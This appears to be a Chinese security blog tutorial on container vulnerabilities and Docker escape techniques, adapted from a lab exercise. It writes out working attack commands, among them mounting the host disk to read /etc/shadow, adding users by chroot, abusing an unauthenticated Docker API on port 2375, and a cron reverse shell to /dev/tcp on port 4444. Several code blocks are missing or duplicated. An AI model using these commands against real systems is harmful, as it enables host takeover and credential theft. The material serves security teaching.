容器漏洞101

容器漏洞101

t3y ZeroPointZero安全团队 2025-04-14 10:34

容器漏洞101

在开始之前,回顾一下在
“容器化简介”
室中学到的一些内容非常重要。首先,让我们回想一下,容器是隔离的并且具有最小的环境。下图描绘了容器的环境。

image.png

需要注意的一些重要事项是:

仅仅因为您有权访问(即立足点)容器,并不意味着您有权访问主机操作系统和关联文件或其他容器。

由于容器的最小化性质(即它们只有开发人员指定的工具),您不太可能找到 Netcat、Wget 甚至 Bash 等基本工具!这使得攻击者很难在容器内进行交互。

我们可以在 Docker 容器中发现哪些类型的漏洞

尽管 Docker 容器旨在将应用程序彼此隔离,但它们仍然容易受到攻击。例如,应用程序的硬编码密码仍然可以存在。例如,如果攻击者能够通过易受攻击的 Web 应用程序获得访问权限,他们将能够找到这些凭据。您可以在下面的代码片段中看到一个 Web 应用程序示例,其中包含数据库服务器的硬编码凭据:‘

/** Database hostname */
define('DB_HOST','localhost');

/** Database name */
define('DB_NAME','sales');

/** Database username */
define('DB_USER','production');

/** Database password */
define('DB_PASSWORD','SuperstrongPassword321!');

当然,这并不是容器中唯一可以利用的漏洞。下表列出了其他潜在的攻击媒介。

漏洞 描述
配置错误的容器
配置错误的容器将拥有容器操作不需要的权限。例如,在“特权”模式下运行的容器将有权访问主机操作系统 – 消除隔离层。
易受攻击的图像
流行的 Docker 镜像被后门以执行加密货币挖掘等恶意操作的事件已经发生过很多次。
网络连接
未正确联网的容器可能会暴露在互联网上。例如,Web 应用程序的数据库容器只能由 Web 应用程序容器访问,而不能通过 Internet 访问。
此外,容器可以成为横向移动的一种方法。一旦攻击者能够访问容器,他们就可以与主机上未暴露于网络的其他容器进行交互。

这只是容器中可能存在的一些漏洞类型的简要总结。

以下介绍几种常见容器漏洞以及如何快速判断是否在容器环境

如何快速判断是否在容器环境

漏洞1:特权容器(Capabilities)

漏洞2:通过暴露的Docker Daemon逃逸

漏洞3:通过暴露的Docker Daemon远程执行代码

漏洞 4:滥用命名空间

漏洞5:挂载宿主机 procfs 逃逸

漏洞6: Docker 远程 API未授权访问逃逸

01

如何快速判断是否存在容器环境

最简单精准的方式就是查询系统进程的cgroup信息,通过响应的内容可以识别当前进程所处的运行环境,就可以知道是在虚拟机、docker还是kubepods里。

方式一:查询cgroup信息

docker环境下:

image.png

K8s环境下:

image 1.png

虚拟机环境下:

image 2.png

方式二:检查/.dockerenv文件

通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境。
K8s&docker环境下:ls -alh /.dockerenv 可以找到文件。

image 3.png

虚拟机环境下:是没有这个.dockerenv文件的。
image 4.png

方式三:检查mount信息

利用mount查看挂载磁盘是否存在docker相关信息。

K8s&docker环境下:

image 5.png

虚拟机环境下:

image 6.png

方式四:查看硬盘信息

fdisk -l 容器输出为空,非容器有内容输出。

K8s&docker环境下:

image 7.png

虚拟机环境下:

image 8.png

方式五:查看文件系统以及挂载点

df -h 检查文件系统挂载的目录,也能够简单判断是否为docker环境。

K8s&docker环境下:

image 9.png

虚拟机环境:

image 10.png

方式六:环境变量

docker容器
和虚拟机的环境变量也有点区别,但不好判断,但pod里面的环境变量其实是很明显的。

K8s环境下:

image 11.png

02

漏洞1:特权容器(Capabilities)

在容器内部执行下面的命令,从而判断容器是不是特权模式,如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff

cat/proc/self/status | grep CapEff

从根本上来说, Linux功能是授予Linux内核中的进程或可执行文件的 root 权限。这些权限允许对权限进行细粒度分配,而不是仅仅分配全部权限。

这些功能决定了 Docker 容器对操作系统拥有哪些权限。 Docker 容器可以以两种模式运行:

用户(普通)模式

特权模式

在下图中,我们可以看到两种不同的操作模式以及每种模式对主机的访问级别:

请注意容器 #1 和 #2 如何在“用户/正常”模式下运行,而容器 #3 如何在“特权”模式下运行。 “用户”模式下的容器通过 Docker 引擎与操作系统交互。然而,特权容器不会这样做。相反,它们绕过 Docker 引擎并直接与操作系统通信。

这对我们意味着什么

那么,如果容器以对操作系统的特权访问权限运行,我们就可以在主机上以 root 身份有效地执行命令。

01

方法一 (cgroup 执行)

我们可以使用libcap2-bin包附带的实用程序(例如capsh来列出容器具有的功能: capsh –print 。 Linux中使用功能来为进程分配特定权限。列出容器的功能是确定可以进行的系统调用和潜在的利用机制的好方法。下面的终端片段中提供了一些有趣的功能。

在下面的示例利用中,我们将使用mount系统调用(在容器功能允许的情况下)将主机的控制组挂载到容器中。

下面的代码片段基于Trailofbits 创建的概念验证 ( PoC )版本(但经过修改),其中详细介绍了该漏洞利用的内部工作原理。

解释漏洞

1.我们需要创建一个组来使用Linux内核来编写和执行我们的漏洞利用程序。内核使用“cgroup”来管理操作系统上的进程。由于我们可以在主机上以 root 身份管理“cgroups”,因此我们将其挂载到容器上的“ /tmp/cgrp ”。

2 .为了执行我们的漏洞利用程序,我们需要告诉内核运行我们的代码。通过将“1”添加到“ /tmp/cgrp/x/notify_on_release ”,我们告诉内核在“cgroup”完成后执行某些操作。 (保罗·梅纳奇,2004) 。

3.我们找出容器的文件在主机上的存储位置,并将其存储为变量。

4.然后,我们将容器文件的位置回显到“ /exploit ”,然后最终回显到“release_agent”,这是“cgroup”释放后将执行的内容。

5.让我们将我们的漏洞利用程序变成主机上的 shell

6.执行“ /exploit ”后,执行命令将主机标志回显到容器中名为“flag.txt”的文件中。

7.使我们的漏洞可执行!

8.我们创建一个进程并将其存储到“ /tmp/cgrp/x/cgroup.procs ”中。当进程被释放时,内容将被执行。

检查cgroup的挂载

或者:

你应该能看到类似以下内容:

这表示
cgroup
已启用,且系统可能支持多个控制器。

02

方法二 (挂载磁盘设备)

查看挂载磁盘设备
fdisk -l

在容器内部执行以下命令,将宿主机文件挂载到 /test 目录下

mkdir /test && mount /dev/sda1 /test

尝试访问宿主机 shadow 文件,可以看到正常访问
cat /test/etc/shadow

也可以在定时任务中写入反弹 shell

这里的定时任务路径是 Ubuntu 系统路径,不同的系统定时任务路径不一样

03

方法三(添加新用户)

mount /dev/sda1 /mnt

chroot /mnt adduser john

通过新添加的用户登录

03

漏洞2:通过暴露的Docker Daemon逃逸

01

Unix Sockets 101(一刀切)

当提到“套接字”时,您可能会想到网络中的“套接字”。嗯,这里的概念几乎是一样的。套接字用于在两个地方之间移动数据。 Unix 套接字使用文件系统而不是网络接口来传输数据。这称为进程间通信 ( IPC ),在操作系统中至关重要,因为能够在进程之间发送数据极其重要。

Unix 套接字在传输数据方面比 TCP/IP 套接字快得多( Percona.,2020 )。这就是Redis等数据库技术拥有如此出色性能的原因。 Unix 套接字也使用文件系统权限。对于下一个标题,记住这一点很重要。

02

Docker 如何使用套接字

当与 Docker 引擎交互时(即运行诸如docker run之类的命令),这将使用套接字完成(通常,这是使用 Unix 套接字完成的,除非您向远程 Docker 主机执行命令)。回想一下,Unix 套接字使用文件系统权限。这就是为什么您必须是 Docker 组(或 root!)的成员才能运行 Docker 命令,因为您需要访问 Docker 拥有的套接字的权限。

03

在容器中查找 Docker 套接字

请记住,容器使用 Docker 引擎与主机操作系统交互(因此可以访问 Docker 套接字!)此套接字(名为 docker.sock)将安装在容器中。它的位置因容器运行的操作系统而异,因此您需要find它。但是,在此示例中,容器运行 Ubuntu 18.04,这意味着docker.sock位于/var/run 中。

注意:此位置可能因操作系统而异,甚至可以由开发人员在容器运行时手动设置。

04

利用容器中的 Docker 套接字

首先,让我们确认我们可以执行 docker 命令。您需要成为容器的 root 身份,或者作为低权限用户拥有“docker”组权限。

05

验证成功

执行命令后,我们应该看到我们已被放入一个新容器中。记住,我们将主机的文件系统挂载到/mnt(然后使用chroot使容器的/mnt变成/)

那么,让我们通过ls /查看/的内容

04

漏洞3:通过暴露的Docker Daemon远程执行代码

01

Docker 引擎 – TCP套接字版

回想一下上一个任务中 Docker 如何使用套接字在主机操作系统和容器之间进行通信。 Docker 还可以使用TCP套接字来实现这一点。

Docker 可以进行远程管理。例如,使用Portainer或Jenkins等管理工具部署容器来测试其代码(是的,自动化!)。

02

漏洞

当配置为远程运行时,Docker 引擎将侦听端口。 Docker 引擎很容易远程访问,但很难安全地访问。这里的漏洞是 Docker 可远程访问并允许任何人执行命令。首先,我们需要枚举。

03

枚举:查找设备是否具有可远程访问的 Docker

默认情况下,引擎将在端口 2375上运行。我们可以通过从 AttackBox 对目标 (10.10.225.211) 执行Nmap扫描来确认这一点。

看起来好像是开放的;我们将使用curl命令开始与公开的Docker守护进程交互。确认我们可以访问 Docker 守护进程: curl http://10.10.225.211:2375/version

在我们的目标上执行 Docker 命令

为此,我们需要告诉我们的 Docker 版本将命令发送到我们的目标(而不是我们自己的机器)。我们可以将“-H”开关添加到我们的目标中。为了测试是否可以运行命令,我们将列出目标上的容器:

04

现在怎么办

现在我们已经确认可以在目标上执行 docker 命令,我们可以做各种各样的事情。例如启动容器、停止容器、删除容器,或者导出容器的内容供我们进一步分析。值得回顾一下Docker 简介中介绍的命令。不过,我提供了一些您可能希望探索的命令:

Command Description
network ls 用于列出容器网络,我们可以使用它来发现正在运行的其他应用程序并从我们的机器转向它们!
images 列出容器使用的镜像;还可以通过对图像进行逆向工程来窃取数据。
exec 在容器上执行命令。
run 运行一个容器。

Docker 远程 API 未授权访问逃逸

Docker 远程 API 未授权访问逃逸

docker remote api 可以执行 docker 命令,docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 docker

搭建

将 docker 守护进程监听在 0.0.0.0

dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375

检测

IP=hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' && wget http://$IP:2375

如果返回 404 说明存在

复现

列出容器信息

curl http://192.168.242.149:2375/containers/json

查看容器

docker -H tcp://192.168.242.149:2375 ps -a

新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。

 docker -H tcp://192.168.242.149:2375 run -it -v /:/mnt nginx:latest /bin/bash

在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root

echo '* * * * * /bin/bash -i >& /dev/tcp/192.168.242.149/4444 0>&1' >> /mnt/var/spool/cron/crontabs/root

本地监听端口,获取对方宿主机shell

06

漏洞 4:滥用命名空间

01

什么是命名空间

命名空间将进程、文件和内存等系统资源与其他命名空间隔离。 Linux上运行的每个进程都会被分配两件事:

命名空间

进程标识符( PID )

命名空间是实现容器化的方式!进程只能“看到”同一命名空间中的进程。以Docker为例,每个新的容器都会作为一个新的命名空间运行,尽管容器可能运行多个应用程序(进程)。

让我们通过比较主机操作系统上的进程数与主机运行的 Docker 容器(apache2 Web 服务器)来证明容器化的概念:

在最左边的第一列中,我们可以看到进程正在运行的用户,包括进程号(PID)。此外,请注意最右侧的列包含启动该进程的命令或应用程序(例如 Firefox 和 Gnome 终端)。这里需要注意的是,多个应用程序和进程正在运行(特别是 320 个!)。

一般来说,一个Docker容器会运行很多进程。这是因为容器被设计为完成一项任务。即,只运行一个网络服务器或一个数据库。

02

确定我们是否在容器中(进程)

让我们使用ps aux列出 Docker 容器中运行的进程。值得注意的是,在此示例中我们只运行了六个进程。进程数量的差异通常可以很好地表明我们处于容器中。

此外,下面代码片段中的第一个进程的PID为 1。这是第一个正在运行的进程。 PID 1(通常是 init)是所有未来启动的进程的祖先(父进程)。如果由于某种原因该进程停止,那么所有其他进程也会停止。

相比之下,我们可以看到只有 5 个进程在运行。这是一个很好的指标,表明我们处于容器中!然而,我们很快就会发现,这并不是 100% 的指示。讽刺的是,在某些情况下,您希望容器能够直接与主机交互。

03

我们如何滥用命名空间

回想一下之前漏洞中的 cgroup(控制组)。我们将在另一种利用方法中使用它们。此攻击滥用了容器与主机操作系统共享相同命名空间的条件(因此容器可以与主机上的进程进行通信)。

在容器依赖于正在运行的进程或需要“插入”主机(例如使用调试工具)的情况下,您可能会看到这种情况。在这些情况下,您可以在通过ps aux列出主机进程时看到容器中的主机进程。

04

漏洞利用

对于此漏洞,我们将使用nsenter (命名空间输入)。该命令允许我们执行或启动进程,并将它们放置在与另一个进程相同的命名空间中。在这种情况下,我们将滥用容器可以看到主机上的“ /sbin/init ”进程的事实,这意味着我们可以在主机上启动新命令,例如 bash shell。

06

漏洞5:挂载宿主机 procfs 逃逸

01

前言

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。因此,将宿主机的procfs挂载到不受控的容器中也是十分危险的,尤其是在该容器内默认启用root权限,且没有开启User Namespace时。

Docker默认情况下不会为容器开启 User Namespace

从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。

一般情况下不会将宿主机的 procfs 挂载到容器中,然而有些业务为了实现某些特殊需要,还是会有这种情况发生。

02

搭建

创建一个容器并挂载 /proc 目录

03

检测

如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs

find / -name core_pattern

04

复现

找到当前容器在宿主机下的绝对路径

这就表示当前绝对路径为

安装 vim 和 gcc

创建一个反弹 Shell 的 py 脚本

123456789101112131415161718

给 Shell 赋予执行权限

写入反弹 shell 到目标的 proc 目录下

在攻击主机上开启一个监听,然后在容器里运行一个可以崩溃的程序

07

漏洞6: Docker 远程 API 未授权访问逃逸

docker remote api 可以执行 docker 命令,docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 docker

01

搭建

将 docker 守护进程监听在 0.0.0.0

检测

如果返回 404 说明存在

02

复现

列出容器信息

查看容器

新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。

在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root

本地监听端口,获取对方宿主机shell。